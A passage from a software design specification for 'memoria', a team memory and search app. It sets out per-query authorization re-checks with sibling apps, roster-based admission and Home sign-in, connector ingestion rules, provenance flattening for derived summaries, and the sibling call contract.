1249notice about twenty. In the bad case — the sibling that supplies most of
1250the corpus — the page renders empty or nearly so, and the notice is the
1251only thing standing between the reader and "no results". **That is the
1252plausible empty list, arriving through the door `AHEAD` was cut to
1253close.** Four rules close it.
1254
12551. **A source marked for re-announce leaves the ranking until the
1256 re-announce completes.** Its chunks are not scored, not fused and not
1257 counted against top-k, so the other sources fill the page to its full
1258 depth. This costs nothing that was not already lost: every one of those
1259 chunks would have been withheld anyway. The page names the excluded
1260 source and says it is reconciling — one line, not one line per
1261 withheld passage.
12622. **A re-announce is a complete statement, not a stream of hints.** It
1263 opens with a marker, lists every item the sibling currently holds as
1264 team-visible, and closes with a marker carrying the item count. An
1265 announce that does not reach its closing marker, or whose count
1266 disagrees with what memoria received, **has failed and authorises
1267 nothing** — this is gate 7's rule about enumeration diffs, and it binds
1268 here for the same reason: a truncated announce is no information, not
1269 an assertion of absence.
12703. **On a completed re-announce, an item memoria holds and the announce
1271 omits is retired.** Retirement removes the chunks from the index and
1272 tombstones the rows, which makes it a deletion in memoria's own store
1273 and therefore subject to §7.4's durable tombstone log. It is not a
1274 purge on `AHEAD`: nothing is retired on the S2 answer, and nothing is
1275 retired by an announce that failed. This is the only thing that ever
1276 removes a phantom chunk, which is why the announce has to be able to
1277 say "complete" and mean it.
12784. **The announce's revision replaces memoria's, in either direction.**
1279 The sibling's log is the authority on its own items, so an item
1280 announced at revision 5 against memoria's 7 becomes revision 5: memoria
1281 refetches the body at 5 via S3 and replaces its chunks. There is no
1282 numeric comparison and no "keep the newer one" — see the opaque-token
1283 rule above. This is decision 8's provenance rule doing its ordinary
1284 job: the source moved to a different revision, so the derived rows go.
1285
1286Gate 27 holds all four, including the case where the announce fails
1287mid-way and nothing is retired.
1288
1289**`UNKNOWN` is synthesised by the caller, not only returned by the
1290sibling.** A sibling that never answers cannot return anything, so the
1291client maps every non-answer to `UNKNOWN`: timeout, non-2xx, malformed
1292body, an item missing from the response, a duplicate item, a short
1293response to a 256-item request, and any result value the client does not
1294recognise. **The decoder is total** — every requested
1295pair gets exactly one result or the whole call is `UNKNOWN`. Without that
1296rule a missing entry falls through to omission, which is the silent path
1297again. Gate 6.
1298
1299**S2 subsumes per-item membership, and nothing else.** Draft 3 said it
1300"subsumes membership" without the qualifier and draft 4 put it back: there
1301is no membership *synchronisation* and no membership table, because a
1302non-member's items all come back `NOT_VISIBLE` from the app that knows,
1303and §1.2's four unreconciled tables are simply not consulted.
1304
1305**But "is P a member of this team?" is a real and separate question**, and
1306since suite ruling 4 it is the home's roster that answers it, not `S7` and
1307not a sibling (§4.3). It is asked once at the door, about the team rather
1308than about an item. The two must not be run together: authorization is per
1309asker, per query, **never cached at any scope**; admission is a pulled copy
1310refreshed by epoch. Collapsing them is what `S7`'s per-session cache did,
1311and separating them is the whole point of the roster split.
1312
1313**Revision matters.** A document that stays team-visible but whose newer
1314revision removed a sentence must not have its stale chunk spoken: a
1315revision behind the sibling's current one answers **`STALE`**, and memoria
1316refetches rather than omitting.
1317
1318**A source can be *behind* the revision we hold, and that is not `STALE`.**
1319`STALE` means the sibling has moved *past* the revision memoria asked
1320about — an ingestion delay, and memoria refetches. The opposite happens
1321too: a sibling restored from backup can sit *behind* it, so the app of
1322record does not recognise the revision at all. **That answers `AHEAD`, and
1323withholds loudly while the source re-announces.** Never `VISIBLE`, which
1324would authorise a revision nobody can vouch for; never `NOT_VISIBLE`, the
1325silent value and the mistake `STALE` was added to fix; and not `UNKNOWN`
1326either, which reports that nobody answered when the app of record answered
1327precisely about its own log. Three wrong homes, which is why the values are
1328five and not four.
1329
1330*This paragraph said `UNKNOWN` until 2026-09-06, citing suite §4.3 and
1331GPT-6's finding 11 — correctly, for revision 7. Revision 10 replaces that
1332ruling with `AHEAD`, so the citation stood while the thing it cited had
1333moved. Until the module ships the fifth constant the CODE maps this case
1334to `UNKNOWN`; the spec no longer pretends that is the design.*
1335
1336**Everything below `AHEAD` in this section is specified against the
1337five-value design and cannot be built until the module ships it** — gate 6,
1338§8.1's third breaker, §5.2's step 2 and §7.4's post-restore reconciliation
1339all name a value the pinned `suite.Authorization` does not carry. That is
1340one dependency with one date, not five open questions.
1341
1342**Batch cap: 256 pairs per call**, multiple calls permitted. Draft 1's 64
1343was tied to answer top-k and did not survive paginated search or
1344derived-artefact expansion (§5.2). The number's reason: one page of
1345search results (50) plus the provenance fan-out of the derived artefacts
1346on it — measured before the constant is committed.
1347
1348### 4.2 memoria-owned content: memoria is the app of record
1349
1350Notion, Drive, forwarded mail and uploads have no sibling to ask. For
1351this content **memoria is the authority** — not a copy, so there is
1352nothing to drift from.
1353
1354**What that authority consists of, precisely, because draft 3 said
1355"memoria's own members and grants" and memoria has neither.** There is no
1356members table (decision 11, §2) and there are no per-person grants:
1357holding grants would be an authorization model, which §4.3 says memoria
1358does not have. The test is two facts and nothing else:
1359
13601. **the asker is admitted** — §4.3's answer, which since suite
1361 ruling 4 is the home's roster in suite shape and the owners list
1362 in lone shape. A statement about the *team*, not about this
1363 document; and
13642. **the document is present in memoria and not deleted.**
1365
1366So memoria-owned content is team-wide by construction. Anything a
1367connector or an upload puts in is offered to everyone the siblings call a
1368member of this team, and the only revocation is deletion. That is a
1369strong thing to say of a Drive folder, which is why §3.6's README says it
1370in those words, why §3.5 makes least-privilege connector credentials a
1371requirement rather than a nicety, and why §4.3's predicate has to mean
1372member rather than guest: fact 1 is the whole of the door.
1373
1374This is the honest resolution of gap 3, and it costs something that must
1375be said plainly rather than implied: **revoking a Notion page from the
1376integration does not revoke it in memoria.** The content was published
1377into memoria and memoria now owns it; removing it is an act performed *in
1378memoria*. §3.6's claim does not pretend otherwise.
1379
1380**Amended 2026-09-05 by the Notion ingest design** (§3 of
1381`2026-09-05-notion-ingest-design.md`). This paragraph used to end "§5.1's
1382enumeration diff is a convenience that eventually notices upstream
1383deletions, not an authorization mechanism". It no longer does, because
1384the first connector built under it does not delete on absence at all.
1385The reason is that memoria is being adopted as a *replacement* for
1386Notion, not a mirror of it: under a replacement, archiving a page
1387upstream after migrating it is the intended workflow, and a
1388diff-and-delete connector reads that as "forget it" — deleting from the
1389app of record the document the migration existed to preserve. A
1390convenience that eventually notices deletions is the wrong convenience
1391when deletion upstream is the goal.
1392
1393The cost is real and is carried rather than buried: a page deleted
1394upstream *because it should not have been shared* stays indexed and
1395readable by every admitted person, with no notice. Connectors therefore
1396record `last_seen_at` per item on every enumeration, so "no longer in
1397the source" is answerable later without a migration. Keeping the
1398documents is a decision; being unable to list them is not licensed by
1399it.
1400
1401### 4.3 Admission comes from the roster
1402
1403#### Optional Home sign-in for an existing local account (2026-09-10)
1404
1405Home authentication can be enabled while admission still uses the existing
1406`MEMORIA_OWNERS` list. This is an authentication adapter for lone shape, not
1407roster activation. An opaque Home subject gains no membership or content access
1408until the person independently proves their existing local account and confirms
1409its connection to Home. Shared `home/connect` handles fresh proofs, browser
1410binding and assertion replay protection.
1411
1412Memoria has no numeric people table. The adapter therefore allocates a stable
1413local identity ID only at the explicit linking entry, after a fresh verified
1414magic-link or Keymail session. Its address is encrypted with a distinct,
1415row-bound purpose; a keyed fingerprint provides the lookup. Ordinary assertion
1416handling and account lookups never allocate identities. These bindings are
1417per-person records in addition to the existing encrypted breaker tallies. They
1418contain no content, membership or grants. Current admission is rechecked at each
1419lookup and protected request; removing an address from configured owners also
1420refuses existing Home sessions.
1421
1422Home sessions carry the opaque Home subject and a distinct method. The adapter
1423resolves that subject through the confirmed binding to the original verified
1424local address. Existing owner checks and S2 `SubjectAddress` questions use that
1425address; nothing rewrites documents, provenance, source coordinates or custody.
1426Disabling Home refuses remaining Home sessions instead of interpreting their
1427subjects as email addresses.
1428
1429The optional configuration is `MEMORIA_HOME_ISSUER`,
1430`MEMORIA_HOME_CONSUMER_ID`, `MEMORIA_HOME_KEYS_BASE64` and
1431`MEMORIA_HOME_DEK_BASE64`. Partial configuration refuses startup. The last value
1432is a dedicated exchange key, separate from the content DEK.
1433
1434The additional surface is `GET /signin/local`, `GET /signed-out`,
1435`GET /auth/start`, `POST /auth/assertion`, `GET /auth/finish`,
1436`GET /auth/local/complete`, and GET/POST pairs at `/account/home` and
1437`/account/home/confirm`. Only the assertion callback accepts an exact configured
1438cross-origin issuer; all other mutations retain CSRF protection. The normal
1439`/signin` starts Home handoff when enabled. Local email verification remains
1440available for first-time connection, including explicit `force=1` fallback.
1441Sign-out revokes the app session, then (home/connect 01166fc, shared chrome
1442§9.5) hands the same POST on to `{issuer}/signout` with a 307, which ends the
1443Oficina session too and returns the browser to `/signed-out`.
1444`HOME_DIRECTORY_ORIGIN` (optional, validated with the rest) names the hub
1445directory, where the app switcher's "All apps" goes.
1446
1447
1448#### Roster team mode on home/teammode (2026-10-30)
1449
1450Home's Part B (`team-members.md` §7, `teammode-package.md` §7.2), ported
1451the way Sheets and Slides were, on Home's shared `home/teammode`,
1452`home/roster` and `home/connect` (pinned at Home main 67c12e3). This is the
1453roster admission the paragraphs below describe, arriving through Home's
1454directory rather than suite call 8. **Off unless configured, and off on
1455Paul's instance**: with team mode off every page is what it was, byte for
1456byte, and the only addition is `GET /api/team` answering
1457`{"team_mode":false}`.
1458
1459- **Configuration.** `MEMORIA_TEAM_ID`, `_DIRECTORY_ORIGIN`,
1460 `_PROVISIONING_BASE64`, `_OPERATOR_KEYS_BASE64`, `_ROSTER_TOKEN`: all or
1461 none, and only beside `MEMORIA_HOME_*`. The provisioning record is
1462 verified against Home's issuer and consumer ID, the app, the team, the
1463 directory and `MEMORIA_ORIGIN`. Not `MEMORIA_TEAM`, which is the sibling
1464 transport's host label (§6.4).
1465- **The marker before migrations.** `memoria_team_required` (set
1466 `memoria_team`) is read before anything migrates. A database activated in
1467 team mode refuses to boot without the same binding — a dropped variable
1468 never hands admission back to `MEMORIA_OWNERS` — and activation refuses a
1469 census that finds a Home identity from another issuer.
1470- **Admission is the roster, on every request.** Member is the whole
1471 instance: memoria's corpus is the team's (§4.2), with no per-person rows
1472 to reach. NotMember reaches nothing — memoria has no shares — and is
1473 signed out and told so, existing sessions included, within the 60 s
1474 lease. Unknown (the roster unreadable past its lease) ends nothing.
1475 `MEMORIA_OWNERS` becomes optional and admits a **local** sign-in only; a
1476 local account's standing is its Oficina link's, and one with no link is
1477 sent to `/account/home` to make one.
1478- **The connectors are the roster owners'.** Members search and read the
1479 team's memory; only a roster `owner` manages what feeds it (Notion's
1480 credential, runs, disconnect), checked at the route and again inside each
1481 write's transaction. Recommended in review and **flagged for Paul**: the
1482 alternative, any member, would let anyone on the team point the corpus at
1483 a workspace of their choosing.
1484- **Unknown on lists (Paul, 2026-10-28).** `/`, `/search` and `/reports`
1485 render partial with a notice. With no shares to fall back on, the partial
1486 list is always empty, and the notice is what stops it reading as "nothing
1487 matched". Standing is read before a list is built and again after, from
1488 the same latched `Access`; a lapse in between withholds what was built.
1489 Every item page, `/add`, `/facts/correct`, `/answer` and the connectors
1490 are a retryable 503 (`Retry-After`, `no-store`), never a 404; the native
1491 API's JSON list, which cannot carry the notice, is a 503.
1492- **Writes.** Every person-made write — content, delete, corrections,
1493 ratings, native notes, connector changes — runs `teammode.Guard` inside
1494 its own transaction, before and after. Delete asks before un-indexing
1495 too, and a delete refused inside its transaction re-indexes the document,
1496 so a refusal never leaves it stored and unfindable. A connector run and a
1497 sibling poll are the instance's own work and are not guarded: **a Notion
1498 run an owner started keeps importing after that owner is removed** (the
1499 content is the team's, §4.2). Flagged for review.
1500- **The AI.** `MEMORIA_AI` stays off for team instances (Alta's recipe
1501 writes neither it nor a key) unless the team's owner asks and Paul agrees,
1502 and never with Paul's key. When on, its sources are the person's ruled
1503 search like every page, and an answer is delivered only if the standing
1504 it was asked on still holds when the model returns.
1505- **Home-only members.** A roster member with no account here signs in with
1506 Home alone, through connect's `Unlinked` and `HomeOnly` hooks. They are a
1507 `memoria_home_local_identities` row with no address — an empty sealed
1508 blob and a random `home-only:` lookup, sharing the ID space connect's
1509 same-person rule compares — and `memoria_team_home_members` says whose;
1510 triggers keep both addressless, undeletable and disjoint from links.
1511 The account menu names them "Oficina account …xxxx".
1512- **The asker.** In team mode a search, a report and a rating ask as the
1513 person's Home subject (`person_ref`, suite shape), however they signed
1514 in, so one person is one asker.
1515- **Siblings stay on the team's own hosts.** The transport already binds
1516 every call to `<MEMORIA_TEAM>.<app>.oficina.works`; in team mode
1517 `MEMORIA_TEAM` must also be this instance's own label, the first label of
1518 `MEMORIA_ORIGIN` (`https://<team>.memoria.oficina.works`), or boot is
1519 refused. Paul's apps, at `<app>.oficina.works`, cannot be named.
1520- **The probe.** `GET /api/team` is `teammode.Probe`: unauthenticated,
1521 `no-store`, `{team_mode, consumer, roster}` and no account data.
1522
1523**Admission is the home's roster — suite §5.3, ruling 4.** memoria holds no
1524members table of its own and asks no sibling. In **suite shape** it pulls
1525the roster (suite call 8, consumer token, roster epoch in every response)
1526and admits from it. The epoch rides the home's own responses — calls 2, 5
1527and 8 and the assertion — and **sibling calls carry none, deliberately**
1528(suite §5.3), so nothing in S1, S2 or S3 grows a membership field. In
1529**lone shape**, where there is no home, admission is the owners list,
1530exactly as slice 0 does today.
1531
1532Draft 2 had memoria keep its own members table, and the draft-2 review
1533showed why that fails: S2 protected sibling content, but admission and
1534§4.2's memoria-owned content both used memoria's own list, so a person
1535removed everywhere else could still sign in and read the team's Notion
1536pages, Drive files, forwarded mail and uploads. That failure is real and
1537the roster fixes it. What draft 3 got wrong was the *replacement*.
1538
1539**What this replaces, and why it was broken.** Decision 11 admitted a
1540person if **at least one sibling answered `MEMBER`** to a call `S7`. Two
1541things were wrong with it. The small one: it cached membership for the life
1542of a session, and ruling 3 now says authorization is never cached at any
1543scope — the word "session" in the doctrine's first draft came from *this
1544rule*, and folding admission into authorization is precisely the
1545conflation the roster split exists to remove. **Custody and admission are
1546person-less or roster-shaped; authorization is per asker, per query, never
1547cached. They are three different things and S7 blurred two of them.**
1548
1549The large one: **`MEMBER` has no value for a guest.** A guest is not on any
1550roster, so "at least one sibling says MEMBER" is undefined for exactly the
1551person the rule most needed to exclude — and memoria's own §13 carried
1552that as an open question it could not answer from inside decision 11.
1553Under ruling 4 it answers itself: guests are never on the roster. **S7 is
1554retired.**
1555
1556Three consequences worth keeping:
1557
1558- **No roster, no admission.** Fail closed: an unreachable home means
1559 nobody new signs in, which is an outage, where the alternative is
1560 admitting someone nobody can vouch for. In lone shape the owners list is
1561 local and this cannot arise.
1562- **A stale roster stops team standing for everybody, sessions included.**
1563 Within the TTL the pulled copy is enforced as it stands. Past the TTL
1564 with no successful fetch it is stale, and team standing stops being
1565 established for anyone — **including people already in a session** — so
1566 S2 answers `UNKNOWN` and the page withholds loudly. An unfamiliar roster
1567 generation holds the stale copy until an owner confirms it. Suite §5.3,
1568 gate 5.
1569 *This spec said the opposite until 2026-09-05: "a session already minted
1570 survives an outage for its TTL". That is the doctrine's revision-3
1571 position, which it retracted — on a 30-day sliding session it is an
1572 outage-length revocation tail, the very thing the paragraph claimed to
1573 reject, and it is the same tail §13 had been carrying as an open defect
1574 of S7.*
1575- **memoria still holds no authorization model.** It holds no answer of its
1576 own; it reads a roster and relays it, and §4.1 governs every passage
1577 after the door.
1578
1579**Draft 4's hardest finding survives the call it was about, and it is why
1580the roster is the right answer rather than merely the doctrine's.** It
1581found that `MEMBER` had to mean *member of this team* and not *known to
1582this app*, because Sheets §8.2 and Docs §8.2 both describe sharing as
1583membership — so a person granted a single sheet is a member there, in
1584those specs' own words. Under the old rule that person was admitted to
1585memoria, and §4.2 then handed them every Notion page, Drive file,
1586forwarded mail and upload the team holds. **One shared sheet bought the
1587whole corpus.**
1588
1589Asking a sibling could never cleanly separate the two questions, because
1590the sibling only knows its own. A roster held by the home answers *member
1591of this team* and nothing else, which is the property draft 4 was reaching
1592for and could not get from S7.
1593
1594**Slice 0 has no home and no siblings, so admission is the owners list
1595and nothing else**, and the spec should say so rather than leave a reader
1596to infer a table. Until a home exists, the only people admitted are the
1597platform-configured owners the app refuses to start without. That list
1598admits operators, it is not a roster, and **it does not grow**: when a home
1599exists, everyone who is not an owner comes from the pulled roster (suite
1600call 8). Extending the owners list one person at a time would be the
1601members table decision 11 rejected, arriving under another name.
1602
1603*This paragraph said "slice 0 has no S7" and "everyone who is not an owner
1604comes from S7" until 2026-09-06 — inside the section that retires S7,
1605reintroduced by the merge from a branch written before ruling 4. §1.10's
1606rule is to grep the retired thing by name; this is what it catches.*
1607
1608No guests, no anonymous link viewers — and after this section, no guest
1609of a *sibling* either. Admission is not authorization: an admitted person
1610still sees only what §4.1 and §4.2 allow.
1611
1612The suite attribution page (`GET /help/open-source`, 2026-09-11) used
1613this same session gate until the shared chrome (estilo spec/shared-chrome
1614§8.4, 2026-09-30), which has the sign-in page link to it while signed
1615out. It is now **public**: it serves embedded software notices and
1616nothing about the team — no content, no passage counts, no document
1617names. Signed in, it still shows the viewer's own bar and account menu;
1618signed out, the bar's Sign in. It creates no session. Its stylesheet is
1619a public static asset, like the other stylesheets.
1620
1621---
1622
1623## 5. Ingestion
1624
1625**Ingestion is an authorisation event, never a sweep.**
1626
1627**From a sibling (§6):** the change feed offers items the sibling marks
1628team-visible. That mark is the *custody* gate of decision 3 — it bounds
1629what memoria holds. It is not the authorization gate; §4.1 is.
1630
1631**What "team-visible" means is suite ruling 15's, and it is narrower than
1632it sounds.** An item sits on one of three rungs — *private*, *granted* to
1633named people, or *team* — and **only the `team` rung is team-visible**. So
1634custody keys on the rung and **never on a read-only link**: a link
1635capability makes an item readable by whoever holds the URL, which is not
1636the same as the team being able to find it. Treating a link as
1637team-visible would turn a capability held by whoever was sent it into a
1638row every team member reaches by search — which is the specific mistake
1639ruling 15 rejects, and it would arrive here, at ingest, where memoria
1640decides what to hold.
1641
1642Two consequences memoria must not paper over. A `granted` item is outside
1643custody **even when the asker holds the grant**, which is why §4.1's
1644intersection sits at the sibling and why a person can lose a passage here
1645while the document stays open to them at the source. And an item that
1646moves from `team` to `granted` leaves custody: it arrives as `gone` in S1,
1647indistinguishable from deletion by §4.2's design, and memoria deletes
1648rather than downgrades.
1649
1650**From outside the suite:** an admin configures a connector, and the
1651sharing act at the far end is the publish.
1652
1653### 5.1 What a connector must supply
1654
1655A stable external id, a change feed (or an enumeration cheap enough to
1656diff), a mapping onto memoria's custody rule, an extractor, and a delete
1657signal.
1658
1659| Source | Id | Feed | Custody maps | Extract | Delete | Verdict |
1660|---|---|---|---|---|---|---|
1661| Oficina siblings | ✅ | ✅ | ✅ team-visible mark | ✅ | ✅ tombstone | Full; §4.1 governs reads |
1662| Google Drive | ✅ | ✅ changes API | ❌ per-file | ✅ | ✅ | Publish-gated; §4.2 governs |
1663| Notion | ✅ | ✅ traversal from shared roots | ❌ | ✅ | ❌ **none, and none used** | Publish-gated; §4.2 |
1664| Email | ⚠️ Message-ID | ✅ UID / history id | ❌ **fundamentally** | ✅ | ⚠️ Gmail only | Forward-only; §4.2 |
1665| Files | content hash | ❌ | ❌ | ✅ | ❌ | Upload only; §4.2 |
1666
1667**Only the siblings supply all five**, and only they get §4.1's live
1668re-check. Everything else is memoria-owned by §4.2.
1669
1670**Email cannot be swept.** A thread's audience is the three people on it;
1671the team is twenty. Mail enters by forward-or-label only.
1672
1673**An enumeration diff must distinguish an authoritative empty result from
1674a failure** before deleting anything. A timed-out, rate-limited,
1675partially-paginated or credential-expired enumeration returns *no
1676information*, not *no documents*; treating the second as the first purges
1677the corpus silently. Gate 7.
1678
1679**Amended 2026-09-05, two changes from building the Notion connector.**
1680
1681*Notion's feed.* This table said `⚠️ last_edited_time polling`, which
1682assumed `/v1/search` could enumerate a workspace. Notion documents that
1683it cannot: search "is not guaranteed to return everything", and **no
1684field in the response says the result was partial**. An enumerator built
1685on it reports a complete import while missing pages — this design's worst
1686failure shape, reachable with no error anywhere. Connectors enumerate by
1687*traversal* from the roots the integration was explicitly shared with
1688(search is documented as complete for those alone), which is
1689cursor-verifiable and yields ancestry as a side effect.
1690
1691*Notion's delete.* Now "none, and none used" — see the amendment in §4.2.
1692Gate 7's rule above stands unchanged for connectors that *do* delete;
1693Notion's connector satisfies it trivially by having no path that deletes,
1694which is a stronger position than a completeness predicate that has to be
1695right every time.
1696
1697### 5.2 Deletion, and the hard case
1698
1699Chunks and vectors are rows under memoria's DEK; they go on the tombstone
1700or the next diff. §7.4 covers the snapshot ordering that makes a deletion
1701survive a restore.
1702
1703The hard case is derived content, because a fact outlives its source.
1704
1705**Ruled (decision 8): every derived artefact carries provenance as
1706`(source_id, revision)` pairs, and is deleted or regenerated when any of
1707them stops resolving *or moves to a new revision*.**
1708
1709**And it records the model that produced it, beside that provenance**
1710(decision 4, widened 2026-09-05). Not for attribution's sake: an artefact
1711is *regenerated* when a source moves, so the model that made the row a
1712reader is looking at is often not the one that made it first. Without the
1713producing model stored alongside, a regenerated artefact silently inherits
1714the name of its predecessor — a naming requirement that reports the wrong
1715name is worse than none, because it is believed. Draft 1's rule was
1716id-level, which left "the Q3 target is X" standing after the source
1717changed to Y — provenance that resolves and is wrong.
1718
1719**A derived artefact expands to its full provenance before §4.1 runs**,
1720and **every source must pass, under whichever authority owns it.** One
1721failure withholds the whole artefact. Without this a summary is a
1722laundering channel for a single downgraded input.
1723
1724Draft 2 said this and specified it only for siblings, which the draft-2
1725review caught: S2 exists nowhere else, so an external source had no check
1726at all and a *mixed* artefact had no rule for combining two authorities.
1727The full algorithm:
1728
17291. **Partition the provenance** by owner — sibling `(id, revision)`
1730 pairs on one side, memoria-owned `(id, revision)` pairs on the other.
1731 There is no third class, and a derived artefact's id is not a
1732 provenance entry; that is what the flattening rule below is for.
1733
1734 **Both sides carry a revision, and draft 4's did not.** Draft 4 wrote
1735 "memoria-owned root *ids*", which reads as a small simplification and
1736 is decision 8 half-applied: the decision is "provenance or deletion, at
1737 `(id, revision)` granularity … *or whose source changed*", and an id
1738 alone cannot say that a source changed. A summary built from revision 1
1739 of an uploaded contract was served unchanged after someone uploaded
1740 revision 2, citing the upload correctly and describing the wrong
1741 document — the id-level rule decision 8 was written to replace,
1742 surviving on the half of the corpus nobody had checked. So a
1743 memoria-owned document carries a revision, bumped on every re-ingest,
1744 re-upload and connector update, and its roots record it.
17452. **Sibling pairs go to S2**, batched, cap 256 per call, as many calls as
1746 the provenance needs. `VISIBLE` for every pair or the artefact is
1747 withheld. `STALE` on any pair means the artefact is out of date, not
1748 forbidden: regenerate it, do not speak it. `AHEAD` on any pair means a
1749 source has been restored behind memoria (§4.1): withhold, re-announce,
1750 delete nothing.
17513. **memoria-owned pairs are checked against §4.2's two facts, plus the
1752 revision** — the asker is admitted, the document is present and not
1753 deleted, **and the recorded revision is the document's current one.**
1754 A superseded revision is not a denial and is not a permissions
1755 failure: it is decision 8's "the source changed", so the artefact is
1756 **regenerated, not spoken** — the same treatment `STALE` gets on the
1757 sibling side in step 2, for the same reason. The two facts are the
1758 whole *authorization* test, because for this content memoria is the
1759 authority rather than a copy and holds no grants of its own to
1760 consult; the revision check is a currency test sitting beside it, and
1761 collapsing the two is what let draft 4 drop it.
1762 **Note what that makes load-bearing:** the only door in front of every
1763 memoria-owned source is §4.3's admission, which is why §4.3's
1764 predicate has to mean member and not guest, and why its cache has a
1765 number.
17664. **A mixed artefact needs both to pass.** There is no precedence rule
1767 and no fallback: authorities are ANDed, because an artefact is a claim
1768 about all its sources at once.
17695. **Provenance that cannot be partitioned** — a source whose owner is
1770 unrecorded — withholds the artefact and is logged as a defect. A
1771 derived artefact that cannot say where it came from is decision 8's
1772 unresolvable-provenance case and gets deleted, not served.
1773
1774**Provenance is flattened to roots at generation time, because it is not
1775otherwise transitive.** Draft 3's algorithm partitioned by owner into two
1776classes, and a derived artefact is memoria-owned — so an artefact built
1777from another artefact landed in step 3, whose entire test is presence in
1778memoria. The first artefact's sibling sources never reached S2. Two hops
1779launder exactly what one hop is written to stop: summarise a Sheets
1780document, then summarise the summary, and the second summary is speakable
1781to a person Sheets would refuse. Nothing in draft 3 forbade the second
1782hop, and nothing would have noticed it.
1783
1784So an artefact carries **two lists, and only one of them authorizes**:
1785
1786- **`roots`** — the `(id, revision)` pairs, sibling and memoria-owned
1787 alike, that the artefact
1788 ultimately rests on, resolved at generation time by substituting each
1789 contributing artefact's own `roots` for its id. This is the list §4.1
1790 runs against, and by construction it holds no artefact ids, so step 1's
1791 partition is total for the same reason §4.1's decoder is.
1792- **`built_from`** — the ids of the artefacts this one was generated
1793 from. It exists so that regenerating or deleting an intermediate
1794 propagates downstream, and **it is never consulted for authorization**.
1795 Keeping the two apart is the point: one list answers "may this person
1796 see it", the other answers "is it still current", and draft 3 had a
1797 single list trying to be both.
1798
1799Three rules fall out, and each is an assertion rather than an intention:
1800
1801- **An artefact id appearing in `roots` is a defect**, not a case to
1802 handle. It means flattening did not run, and it withholds the artefact
1803 under step 5.
1804- **An artefact whose sources cannot all be flattened is not generated.**
1805 If a contributing artefact's own `roots` do not fully resolve there is
1806 nothing to inherit, and generating anyway produces an artefact whose
1807 provenance is a guess wearing a list's clothes.
1808- **A cycle in `built_from` withholds every artefact on it and is logged
1809 as a defect.** Nothing in this design creates one, which is precisely
1810 why nothing would catch it.
1811
1812Flattening is also what makes §4.1's 256-pair cap load-bearing rather
1813than decorative: an artefact three hops deep fans out to every root of
1814every ancestor, and that fan-out is the number §4.1 says to measure
1815before committing the constant.
1816
1817**Where derived artefacts live:** memoria's own store, sealed like any
1818chunk, indexed and searchable — and therefore subject to §4.1 through
1819their provenance, never on their own account. They exist only with AI on,
1820and their regeneration is a model call whose cost §8.6 counts.
1821
1822**memoria never fine-tunes**, because weights are the one copy that
1823cannot be forgotten.
1824
1825### 5.3 What "continuously evolving memory" honestly means
1826
1827Re-index on change — a search index, honestly named. Derived notes
1828regenerated when sources change — a materialised view with provenance.
1829Updated weights — never.
1830
1831**The smallest honest version is the first two.** It is a cache over
1832sources. For sibling content it forgets when the sources do, because
1833§4.1 asks them. **For memoria-owned content it forgets when someone tells
1834it to** (§4.2); draft 1's claim that it "forgets exactly when the sources
1835do" was false for that half.
1836
1837---
1838
1839## 6. The sibling contract
1840
1841Decision 1 makes cross-app pull legal. Nothing yet makes it possible:
1842every home contract call is instance→home or person→home, home §6
1843rejected a re-announce sweep because it "has no channel to reach
1844instances", and `aud` binds every assertion to one host.
1845
1846### 6.1 The calls
1847
1848All are memoria → sibling, all pulls. **Push is rejected on three
1849grounds:** a sibling outbox drains on wake and share mutation, not on a
1850ticker (Sheets §9.1.1), adequate for a hint and useless for content; push
1851would wake a hibernating memoria on every keystroke in three apps; and it
1852inverts custody, since each sibling would hold a memoria token and
1853memoria would grow an inbound surface it does not have.
1854
1855memoria pulls on its own wake and on each question. It runs no timers.
1856
1857| # | Call | Notes |
1858|---|---|---|
1859| S1 | Change feed | Cursor is an opaque position in the sibling's event log, issued by the sibling, stored per consumer. **A revision is opaque too:** memoria tests revisions for equality and never orders them (§4.1). A row is `(item_id, revision, gone, touched_at)` — **no title, no content, no visibility flag** — so it passes the plaintext-grep gate unaided. Retention is a **per-consumer TTL** (home §9.1: "any 'prune when all consumers have caught up' is unbounded in a hibernating fleet"). Past TTL, or a restore-rewound cursor, takes a full re-announce. |
1860| S1a | Re-announce | The complete form of S1, and §4.1 makes it load-bearing rather than a recovery convenience. Opens with a marker, lists **every** item the sibling currently holds as team-visible, closes with a marker carrying the item count. Paginated; the cursor it issues is valid only once the closing marker is read. **An announce that does not close, or whose count disagrees with what memoria received, has failed and authorises no retirement** — gate 7's rule. |
1861| S2 | Authorization re-check | `(subject, [(item_id, revision)]) → VISIBLE / NOT_VISIBLE / STALE / UNKNOWN` per item, **plus `AHEAD` once the contract carries it** — see §4.1, which records that memoria wants a fifth value and `suite.Authorization` has four. Asker is a **typed subject** with its kind on the wire (suite §3); **the sibling intersects its answer with custody** (suite §4.3) — §4.1 explains why memoria depends on that and cannot do it itself. Total decoder, cap 256 pairs. **Never cached, at any scope** (ruling 3). |
1862| S3 | Content fetch | **`(id, revision)`, no person** → plaintext body over TLS into memoria's RAM only. The sibling answers only for items that are **team-visible** — the custody predicate, not the grants join — and **404s, never 403s**. This is an ingest call and there is no asker on the ingest path. |
1863| ~~S4~~ | Tombstone | *a feed row, and no number is reserved for it* (suite §6). `gone` covers deletion and departure from team-visibility, indistinguishably. Numbering a non-call is how a table starts reading as a contract. |
1864| ~~S5~~ | Consumer expiry | *no call, and no number.* TTL expiry is the decommission verb. |
1865| S6 | Aggregate | `(subject, fn, [(sheet, tab, row, col, revision)…]) → {value, display, format_code}` or `STALE(cell)` / `NOT_VISIBLE` / `UNKNOWN` / `NON_NUMERIC(cell)`. **Units are not S6's job**: `MIXED_UNITS` and `UNIT_UNKNOWN` are memoria's verdicts, reached before the call, because Sheets cannot see the header words memoria indexed (§8.7). Cap 64 cells. Typed subject and the custody intersection, as S2. Never cached. **Specified, not built** — suite §12 step 4. |
1866| ~~S7~~ | ~~Team membership~~ | **RETIRED 2026-09-05.** It existed because there was no roster of record; suite call 8 is that record, and admission is §4.3's. Draft 4's hardest work on it — that `MEMBER` must mean "on this team's roster" and never "known to this app", with `INDETERMINATE` for a sibling that cannot tell them apart — is the property the roster has by construction, and §4.3 carries the reasoning. Its 15-minute cache was the conflation of admission with authorization that ruling 3 now forbids outright. |
1867
1868**Draft 1's S1 row carried a `visible-to-team` field, and that was a
1869leak.** With it, a `visible=false, gone=false` row tells memoria that a
1870guest-only item exists, at what revision, and when it was touched —
1871exactly what S3's "404s, never 403s" was designed to hide, and unnamed in
1872the leak list. Removed: departure from team-visibility is simply `gone`.
1873
1874**"A stale index costs a miss, never a leak" — narrowed twice.** Draft 1
1875stated it unconditionally and it was false for retraction-by-edit. Draft 2
